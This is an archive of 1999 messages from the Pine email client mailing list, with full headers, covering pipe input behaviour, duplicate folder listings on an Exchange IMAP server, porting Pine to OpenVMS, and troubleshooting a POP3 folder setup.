(mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id UAA11772 for ; Thu, 11 Feb 1999 20:00:25 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA28562 for ; Thu, 11 Feb 1999 20:00:25 -0800 Received: from taxa.psyc.missouri.edu (taxa.psyc.missouri.edu [128.206.45.83]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id UAA15195 for ; Thu, 11 Feb 1999 20:00:24 -0800 Received: from localhost by taxa.psyc.missouri.edu (SMI-8.6/SMI-SVR4) id VAA11628; Thu, 11 Feb 1999 21:59:35 -0600 Message-Id: Date: Thu, 11 Feb 1999 21:59:35 -0600 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Mike Miller To: Pine Discussion Forum Subject: new behavior of pine in pipe MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: PINE-INFO list X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN In the last version of Pine I used (probably 4.05), and in earlier versions than that, I could include pine in a pipe and it would take the standard input and run with it. Now (4.10) it asks me if I want to open a postponed message. So now I have to hit 'n'. Yes, I can hit 'n', but I'd rather have it work like it used to. Is there a command line argument to force Pine to take the stdin and not prompt me? Maybe this change was just a mistake. (I'm using UNIX Pine precompiled for Solaris from the UW ftp site.) Regards, Mike -- Michael B. Miller University of Missouri--Columbia http://taxa.psyc.missouri.edu/~mbmiller/ -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 12 Feb 1999 15:00:14 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA28313 for ; Fri, 12 Feb 1999 15:00:13 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA03890; Fri, 12 Feb 1999 15:00:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA09370; Fri, 12 Feb 1999 14:55:54 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA19328 for ; Fri, 12 Feb 1999 14:10:32 -0800 Received: from mailhub.tc.fluke.com (mailhub.tc.fluke.com [206.138.179.14]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA28997 for ; Fri, 12 Feb 1999 14:10:31 -0800 Received: from purdy.tc.fluke.com (purdy.tc.fluke.com [129.196.128.11]) by mailhub.tc.fluke.com (8.9.1/8.9.1) with SMTP id OAA29350 for ; Fri, 12 Feb 1999 14:10:31 -0800 (PST) Received: by purdy.tc.fluke.com (SMI-8.6/1.0) id OAA00878; Fri, 12 Feb 1999 14:10:30 -0800 Message-Id: <19990212141030.A24514@purdy.tc.fluke.com> Date: Fri, 12 Feb 1999 14:10:30 -0800 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Warren Jones To: Pine Discussion Forum Subject: Seeing double (folders on Exchange server) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I've noticed an odd situation when using pine 4.05 with IMAP to read mail from an MS Exchange server. When I look at my folder collection on the server, I see every folder accompanied by a matching (empty) directory, something like this: PINE 4.05 FOLDER LIST Folder: INBOX 23 Messages Folders on evtexch0.tc.fluke.com in home directory -------------------------------------------------------------------- INBOX received received/ INBOX/ Calendar Calendar/ Contacts Contacts/ Deleted Items Deleted Items/ Journal Journal/ Notes Notes/ Outbox Outbox/ Sent Items Sent Items/ Tasks Tasks/ Each folder and its matching directory are really the same object -- renaming or deleting a directory simultaneously renames of deletes the corresponding folder. I just picked up pine 4.10, and found that this problem is partially fixed. Now only the INBOX is duplicated: PINE 4.10 FOLDER LIST Folder: INBOX 23 Messages Folders on evtexch0.tc.fluke.com in home directory -------------------------------------------------------------------- INBOX/ INBOX received[/] Calendar[/] Contacts[/] Deleted Items[/] Journal[/] Notes[/] Outbox[/] I'm not sure why all folders (except the INBOX) are labeled with "[/]". Does anyone know the significance of this, or of the duplicate INBOX? Both pine 4.05 and 4.10 behave normally with folders on a Unix-based IMAP server, and the folders on the Exchange server show up normally with both Netscape 4.05 and the Outlook client. We're running pine under Solaris 2.5. Our Exchange server is version 5.5, service pack 2. Thanks in advance for any insights. -------------------------------------------------------------------- Warren Jones | To keep every cog and wheel is the first Fluke Corporation | precaution of intelligent tinkering. Everett, Washington, USA | -- Aldo Leopold -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 12 Feb 1999 15:14:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA28583 for ; Fri, 12 Feb 1999 15:14:43 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA27889; Fri, 12 Feb 1999 15:14:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA11854; Fri, 12 Feb 1999 15:12:14 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id PAA27724 for ; Fri, 12 Feb 1999 15:09:22 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA14930 for ; Fri, 12 Feb 1999 15:09:22 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA04106 for ; Fri, 12 Feb 1999 15:09:22 -0800 Received: from D-140-142-110-210.dhcp.washington.edu (D-140-142-110-210.dhcp.washington.edu [140.142.110.210]) by shiva1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA25496 for ; Fri, 12 Feb 1999 15:09:21 -0800 Message-Id: Date: Fri, 12 Feb 1999 15:11:39 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Terry Gray To: Pine Discussion Forum Subject: Re: Seeing double (folders on Exchange server) (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: pine-info@cac.washington.edu X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN fyi (since Warren's query was sent here too, I'll send this reply along as well assuming others may also be curious about the same thing.) -teg ---------- Forwarded message ---------- Date: Fri, 12 Feb 1999 15:00:30 -0800 From: Terry Gray Newsgroups: comp.mail.pine Organization: University of Washington; Computing & Communications Subject: Re: Seeing double (folders on Exchange server) Warren, On some servers, names can simultaneously refer to both a mailbox and a folder collection. Pine needs to give you a way to indicate which version of the name you want to open. There were complaints about listing the "directory" or versions of names separately (even though there was an option to put them all last), so the display was changed in 4.10 to combine the entries into a more compact notation. The INBOX duplication could be considered a bug :) -teg On 12 Feb 1999, Warren Jones wrote: > I've noticed an odd situation when using pine 4.05 with IMAP to > read mail from an MS Exchange server. When I look at my folder > collection on the server, I see every folder accompanied by a > matching (empty) directory, something like this: > > PINE 4.05 FOLDER LIST Folder: INBOX 23 Messages > > Folders on evtexch0.tc.fluke.com in home directory > -------------------------------------------------------------------- > INBOX received received/ INBOX/ > Calendar Calendar/ Contacts Contacts/ > Deleted Items Deleted Items/ Journal Journal/ > Notes Notes/ Outbox Outbox/ > Sent Items Sent Items/ Tasks Tasks/ > > Each folder and its matching directory are really the same object -- > renaming or deleting a directory simultaneously renames of deletes > the corresponding folder. > > I just picked up pine 4.10, and found that this problem is partially > fixed. Now only the INBOX is duplicated: > > PINE 4.10 FOLDER LIST Folder: INBOX 23 Messages > > Folders on evtexch0.tc.fluke.com in home directory > -------------------------------------------------------------------- > > INBOX/ INBOX received[/] > Calendar[/] Contacts[/] Deleted Items[/] > Journal[/] Notes[/] Outbox[/] > > I'm not sure why all folders (except the INBOX) are labeled with "[/]". > Does anyone know the significance of this, or of the duplicate INBOX? > > Both pine 4.05 and 4.10 behave normally with folders on a Unix-based > IMAP server, and the folders on the Exchange server show up normally > with both Netscape 4.05 and the Outlook client. We're running pine > under Solaris 2.5. Our Exchange server is version 5.5, service pack 2. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 12 Feb 1999 16:41:50 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA30441 for ; Fri, 12 Feb 1999 16:41:49 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA29861; Fri, 12 Feb 1999 16:41:47 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id QAA01582; Fri, 12 Feb 1999 16:39:31 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id QAA09626 for ; Fri, 12 Feb 1999 16:36:13 -0800 Received: from jemez.lovelace.com (jemez.lovelace.com [206.29.142.11]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA27088 for ; Fri, 12 Feb 1999 16:36:13 -0800 Received: by corp.lovelace.com with Internet Mail Service (5.5.2232.9) id <1BM51BYC>; Fri, 12 Feb 1999 17:34:28 -0700 Message-Id: <3BC62AA0578CD111B75C0000F875345D6F3AE2@corp.lovelace.com> Date: Fri, 12 Feb 1999 17:34:26 -0700 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Ifversen, Jody M" To: Pine Discussion Forum Subject: PINE on OpenVMS MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-To: "Pine Discussion Forum (E-mail)" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hello, I am currently in the process of porting PINE 4.00 (I know, 4.10 is out. First things first. 8] ) to OpenVMS. I have, however, hit a small brick wall with the VMS mail interface due to the changes in structure between version 3.9x and 4.xx. I admit that a part of my problem is related to my rusty C skills (it has been 9 years since my last programming foray.) I was wondering if someone out there with a bit more up-to-date skill level in C, and an interest in PINE on VMS would be willing to lend a hand? What I have done so far is the following: C-Client - Completed conversion with only a few minor warnings remaining, except for the VMS mail piece. PICO - Completed conversion with 1 outstanding error. Executable has been linked and runs. PINE - Approximately 40 errors left to resolve. Some of these are directly related to the C-Client completion. I am not looking for someone to do all of the remaining work. If I were, I would have just waited for someone to port the whole thing in the first place. What I am looking for is someone, perhaps with a bit more internal knowledge of PINE, to help me get over (what I am hoping is) the last few minor hurdles. Thanks in advance. -Jody -- ----------------------------------------------------------------- Jody Ifversen Jody.Ifversen@lovelace.com Network Administrator II postmaster@lovelace.com Lovelace Health Systems (505) 262-7655 Albuquerque, NM Fax: (505) 268-2967 ----------------------------------------------------------------- -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 12 Feb 1999 19:47:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA31594 for ; Fri, 12 Feb 1999 19:47:10 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA09276; Fri, 12 Feb 1999 19:47:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id TAA24268; Fri, 12 Feb 1999 19:44:34 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id TAA26052 for ; Fri, 12 Feb 1999 19:41:56 -0800 Received: from elwood.cais.com (elwood.cais.com [199.0.216.215]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA10597 for ; Fri, 12 Feb 1999 19:41:45 -0800 Received: from sonja (dup-207-176-69-220.cais.net [207.176.69.220]) by elwood.cais.com (8.9.1/Elwood) with SMTP id WAA28935 for ; Fri, 12 Feb 1999 22:43:27 -0500 (EST) Message-Id: <3.0.5.32.19990212224307.00a75420@172.27.72.2> Date: Fri, 12 Feb 1999 22:43:07 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Karl Zander To: Pine Discussion Forum Subject: RE: POP3 Problem/Question In-Reply-To: <0089B6FA4F0DD211AD4E0001FA7E5055B8430C@POISON> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-To: Pine Discussion Forum X-Sender: zander@172.27.72.2 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN George, Is the line in the pine.conf inbox-path={pop.erols.com/pop3}INBOX Do you have a pine.conf.fixed file? Check the settings there. Those settings would take priority over anything else. Karl At 02:27 PM 2/11/99 -0500, George Gallen wrote: > >Ok. that worked, so it's not our firewall. > >I read through the FAQ, and below seemed to be the >correct method. I'm in the midst of loaded and playing >with fetchmail, but in the mean time, I'd still like >to get pine to do it (if it can). > >George > >-----Original Message----- >From: Karl Zander [mailto:zander@commpartners.com] >Sent: Thursday, February 11, 1999 2:15 PM >To: George Gallen >Cc: Pine Discussion Forum >Subject: Re: POP3 Problem/Question > > >George, > >RE: testing a POP3 connection. Do you have >access to telnet? Can you telnet to >pop.erols.com on port 110? A POP3 server >should answer. Type quit to exit it. >If you get no reply, check your firewall >and other connections. > >Karl Zander > > >On Thu, 11 Feb 1999, George Gallen wrote: > >> I tried to setup a folder as a POP3 folder >> >> When adding the folder we used: >> >> {pop.erols.com/pop3/user=username}INBOX >> >> After entry, the cursor went to the bottom of the screen >> and did nothing, If I pressed , then it loaded the >> previous folder (a local INBOX), no error messages, just nothing. >> >> I also tried {pop.erols.com/pop3} hoping username would >> come up. >> >> I checked the configuration options thinking I had to >> turn on the POP3, but didn't see anything. >> >> One thought I had was possibly our firewall may be blocking >> outgoing pop3 requests? But before I submitted a "request" to >> ask if that were the case, I'd check to make sure everyhing >> was setup correctly. Is there anyway to test the above >> thoeory? that is, is there a pop3 server that is known to >> work that I could check against? >> >> Aside from using fetchmail (which I'm looking into at present). >> >> Using Pine 4.03 >> >> George Gallen >> ggallen@slackinc.com >> >> -----Original Message----- >> From: George Gallen [mailto:ggallen@slackinc.com] >> Sent: Friday, February 05, 1999 4:01 PM >> To: Pine Discussion Forum >> Subject: RE: Erols and IMAP (now a pop3 question) >> >> >> Never mind....spoke with erols, they only allow pop3 >> access. Do I need to add anything to my unix system to >> allow pine to access mailboxs via pop3? >> >> George Gallen >> ggallen@slackinc.com >> >> -----Original Message----- >> From: George Gallen [mailto:ggallen@slackinc.com] >> Sent: Friday, February 05, 1999 3:34 PM >> To: Pine Discussion Forum >> Subject: Erols and IMAP >> >> >> We have someone in our group, that wants to access their >> email from their erols account using pine (on a unix system). >> >> Does anyone know if erols has the ability to IMAP access to >> their members mail? I tried erols.com as the host, but our >> DNS shot that one down. Would the username/password be the >> same as thier login username/password? >> >> We are using pine 4.05. >> >> >> Thanks >> George Gallen >> ggallen@slackinc.com >> >> ----------------------------------------------------------------- >> For information about this mailing list, and its archives, see: >> http://www.washington.edu/pine/pine-info/ >> ----------------------------------------------------------------- >> >> ----------------------------------------------------------------- >> For information about this mailing list, and its archives, see: >> http://www.washington.edu/pine/pine-info/ >> ----------------------------------------------------------------- >> -- >> ----------------------------------------------------------------- >> For information about this mailing list, and its archives, see: >> http://www.washington.edu/pine/pine-info/ >> ----------------------------------------------------------------- >> > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 12 Feb 1999 22:14:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA32683 for ; Fri, 12 Feb 1999 22:14:18 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA01678; Fri, 12 Feb 1999 22:14:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id WAA12719; Fri, 12 Feb 1999 22:12:51 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id WAA19870 for ; Fri, 12 Feb 1999 22:10:06 -0800 Received: from alpha.slackinc.com (www2.slackinc.com [206.1.97.1] (may be forged)) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id WAA02356 for ; Fri, 12 Feb 1999 22:10:05 -0800 Received: from localhost by alpha.slackinc.com; (5.65v3.2/1.1.8.2/02Oct98-1212AM) id AA26483; Sat, 13 Feb 1999 01:11:04 -0500 Message-Id: Date: Sat, 13 Feb 1999 01:11:03 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: George Gallen To: Pine Discussion Forum Subject: RE: POP3 Problem/Question In-Reply-To: <3.0.5.32.19990212224307.00a75420@172.27.72.2> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Karl Zander X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN My inbox-path points to a local INBOX. I'm trying to setup another folder (not the primary inbox). George On Fri, 12 Feb 1999, Karl Zander wrote: > George, > > Is the line in the pine.conf > > inbox-path={pop.erols.com/pop3}INBOX > > Do you have a pine.conf.fixed file? Check > the settings there. Those settings would > take priority over anything else. > > Karl > > > At 02:27 PM 2/11/99 -0500, George Gallen wrote: > > > >Ok. that worked, so it's not our firewall. > > > >I read through the FAQ, and below seemed to be the > >correct method. I'm in the midst of loaded and playing > >with fetchmail, but in the mean time, I'd still like > >to get pine to do it (if it can). > > > >George > > > >-----Original Message----- > >From: Karl Zander [mailto:zander@commpartners.com] > >Sent: Thursday, February 11, 1999 2:15 PM > >To: George Gallen > >Cc: Pine Discussion Forum > >Subject: Re: POP3 Problem/Question > > > > > >George, > > > >RE: testing a POP3 connection. Do you have > >access to telnet? Can you telnet to > >pop.erols.com on port 110? A POP3 server > >should answer. Type quit to exit it. > >If you get no reply, check your firewall > >and other connections. > > > >Karl Zander > > > > > >On Thu, 11 Feb 1999, George Gallen wrote: > > > >> I tried to setup a folder as a POP3 folder > >> > >> When adding the folder we used: > >> > >> {pop.erols.com/pop3/user=username}INBOX > >> > >> After entry, the cursor went to the bottom of the screen > >> and did nothing, If I pressed , then it loaded the > >> previous folder (a local INBOX), no error messages, just nothing. > >> > >> I also tried {pop.erols.com/pop3} hoping username would > >> come up. > >> > >> I checked the configuration options thinking I had to > >> turn on the POP3, but didn't see anything. > >> > >> One thought I had was possibly our firewall may be blocking > >> outgoing pop3 requests? But before I submitted a "request" to > >> ask if that were the case, I'd check to make sure everyhing > >> was setup correctly. Is there anyway to test the above > >> thoeory? that is, is there a pop3 server that is known to > >> work that I could check against? > >> > >> Aside from using fetchmail (which I'm looking into at present). > >> > >> Using Pine 4.03 > >> > >> George Gallen > >> ggallen@slackinc.com > >> > >> -----Original Message----- > >> From: George Gallen [mailto:ggallen@slackinc.com] > >> Sent: Friday, February 05, 1999 4:01 PM > >> To: Pine Discussion Forum > >> Subject: RE: Erols and IMAP (now a pop3 question) > >> > >> > >> Never mind....spoke with erols, they only allow pop3 > >> access. Do I need to add anything to my unix system to > >> allow pine to access mailboxs via pop3? > >> > >> George Gallen > >> ggallen@slackinc.com > >> > >> -----Original Message----- > >> From: George Gallen [mailto:ggallen@slackinc.com] > >> Sent: Friday, February 05, 1999 3:34 PM > >> To: Pine Discussion Forum > >> Subject: Erols and IMAP > >> > >> > >> We have someone in our group, that wants to access their > >> email from their erols account using pine (on a unix system). > >> > >> Does anyone know if erols has the ability to IMAP access to > >> their members mail? I tried erols.com as the host, but our > >> DNS shot that one down. Would the username/password be the > >> same as thier login username/password? > >> > >> We are using pine 4.05. > >> > >> > >> Thanks > >> George Gallen > >> ggallen@slackinc.com > >> > >> ----------------------------------------------------------------- > >> For information about this mailing list, and its archives, see: > >> http://www.washington.edu/pine/pine-info/ > >> ----------------------------------------------------------------- > >> > >> ----------------------------------------------------------------- > >> For information about this mailing list, and its archives, see: > >> http://www.washington.edu/pine/pine-info/ > >> ----------------------------------------------------------------- > >> -- > >> ----------------------------------------------------------------- > >> For information about this mailing list, and its archives, see: > >> http://www.washington.edu/pine/pine-info/ > >> ----------------------------------------------------------------- > >> > > > > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 12 Feb 1999 22:56:13 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA00212 for ; Fri, 12 Feb 1999 22:56:12 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA11554; Fri, 12 Feb 1999 22:56:10 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id WAA09867; Fri, 12 Feb 1999 22:53:34 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id WAA28884 for ; Fri, 12 Feb 1999 22:50:57 -0800 Received: from alpha.slackinc.com (www2.slackinc.com [206.1.97.1] (may be forged)) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id WAA13159 for ; Fri, 12 Feb 1999 22:50:56 -0800 Received: from localhost by alpha.slackinc.com; (5.65v3.2/1.1.8.2/02Oct98-1212AM) id AA01489; Sat, 13 Feb 1999 01:52:27 -0500 Message-Id: Date: Sat, 13 Feb 1999 01:52:27 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: George Gallen To: Pine Discussion Forum Subject: RE: POP3 Problem/Question In-Reply-To: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN The problem might be either one of two things. 1. A configuration problem. When I attempted to setup a folder using pop3 from my pine account, it worked ok. I will have to look deeper into what differences are between the two config files. The problem occured when I tried to setup the pop3 folder from the other users account. Although we both have system group privs, so I don't think it's a unix permissions problem. 2. When it asked for the server name, I may have entered {pop.erols.com/pop3/user=xxx}INBOX instead of just pop.erols.com/pop3/user=xxx, then wait for the next question. But I don't think that was the problem, because the cursor just hung with no type of error message. I'll have to try again on Monday, looking VERY carefully at what I'm being asked for input, not what I THINK I'm being asked. Thanks George On Sat, 13 Feb 1999, George Gallen wrote: > My inbox-path points to a local INBOX. I'm trying > to setup another folder (not the primary inbox). > > George > > > On Fri, 12 Feb 1999, Karl Zander wrote: > > > George, > > > > Is the line in the pine.conf > > > > inbox-path={pop.erols.com/pop3}INBOX > > > > Do you have a pine.conf.fixed file? Check > > the settings there. Those settings would > > take priority over anything else. > > > > Karl > > > > > > At 02:27 PM 2/11/99 -0500, George Gallen wrote: > > > > > >Ok. that worked, so it's not our firewall. > > > > > >I read through the FAQ, and below seemed to be the > > >correct method. I'm in the midst of loaded and playing > > >with fetchmail, but in the mean time, I'd still like > > >to get pine to do it (if it can). > > > > > >George > > > > > >-----Original Message----- > > >From: Karl Zander [mailto:zander@commpartners.com] > > >Sent: Thursday, February 11, 1999 2:15 PM > > >To: George Gallen > > >Cc: Pine Discussion Forum > > >Subject: Re: POP3 Problem/Question > > > > > > > > >George, > > > > > >RE: testing a POP3 connection. Do you have > > >access to telnet? Can you telnet to > > >pop.erols.com on port 110? A POP3 server > > >should answer. Type quit to exit it. > > >If you get no reply, check your firewall > > >and other connections. > > > > > >Karl Zander > > > > > > > > >On Thu, 11 Feb 1999, George Gallen wrote: > > > > > >> I tried to setup a folder as a POP3 folder > > >> > > >> When adding the folder we used: > > >> > > >> {pop.erols.com/pop3/user=username}INBOX > > >> > > >> After entry, the cursor went to the bottom of the screen > > >> and did nothing, If I pressed , then it loaded the > > >> previous folder (a local INBOX), no error messages, just nothing. > > >> > > >> I also tried {pop.erols.com/pop3} hoping username would > > >> come up. > > >> > > >> I checked the configuration options thinking I had to > > >> turn on the POP3, but didn't see anything. > > >> > > >> One thought I had was possibly our firewall may be blocking > > >> outgoing pop3 requests? But before I submitted a "request" to > > >> ask if that were the case, I'd check to make sure everyhing > > >> was setup correctly. Is there anyway to test the above > > >> thoeory? that is, is there a pop3 server that is known to > > >> work that I could check against? > > >> > > >> Aside from using fetchmail (which I'm looking into at present). > > >> > > >> Using Pine 4.03 > > >> > > >> George Gallen > > >> ggallen@slackinc.com > > >> > > >> -----Original Message----- > > >> From: George Gallen [mailto:ggallen@slackinc.com] > > >> Sent: Friday, February 05, 1999 4:01 PM > > >> To: Pine Discussion Forum > > >> Subject: RE: Erols and IMAP (now a pop3 question) > > >> > > >> > > >> Never mind....spoke with erols, they only allow pop3 > > >> access. Do I need to add anything to my unix system to > > >> allow pine to access mailboxs via pop3? > > >> > > >> George Gallen > > >> ggallen@slackinc.com > > >> > > >> -----Original Message----- > > >> From: George Gallen [mailto:ggallen@slackinc.com] > > >> Sent: Friday, February 05, 1999 3:34 PM > > >> To: Pine Discussion Forum > > >> Subject: Erols and IMAP > > >> > > >> > > >> We have someone in our group, that wants to access their > > >> email from their erols account using pine (on a unix system). > > >> > > >> Does anyone know if erols has the ability to IMAP access to > > >> their members mail? I tried erols.com as the host, but our > > >> DNS shot that one down. Would the username/password be the > > >> same as thier login username/password? > > >> > > >> We are using pine 4.05. > > >> > > >> > > >> Thanks > > >> George Gallen > > >> ggallen@slackinc.com > > >> > > >> ----------------------------------------------------------------- > > >> For information about this mailing list, and its archives, see: > > >> http://www.washington.edu/pine/pine-info/ > > >> ----------------------------------------------------------------- > > >> > > >> ----------------------------------------------------------------- > > >> For information about this mailing list, and its archives, see: > > >> http://www.washington.edu/pine/pine-info/ > > >> ----------------------------------------------------------------- > > >> -- > > >> ----------------------------------------------------------------- > > >> For information about this mailing list, and its archives, see: > > >> http://www.washington.edu/pine/pine-info/ > > >> ----------------------------------------------------------------- > > >> > > > > > > > > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 12 Feb 1999 22:57:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA00209 for ; Fri, 12 Feb 1999 22:57:37 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA02197; Fri, 12 Feb 1999 22:57:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id WAA14216; Fri, 12 Feb 1999 22:56:16 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu 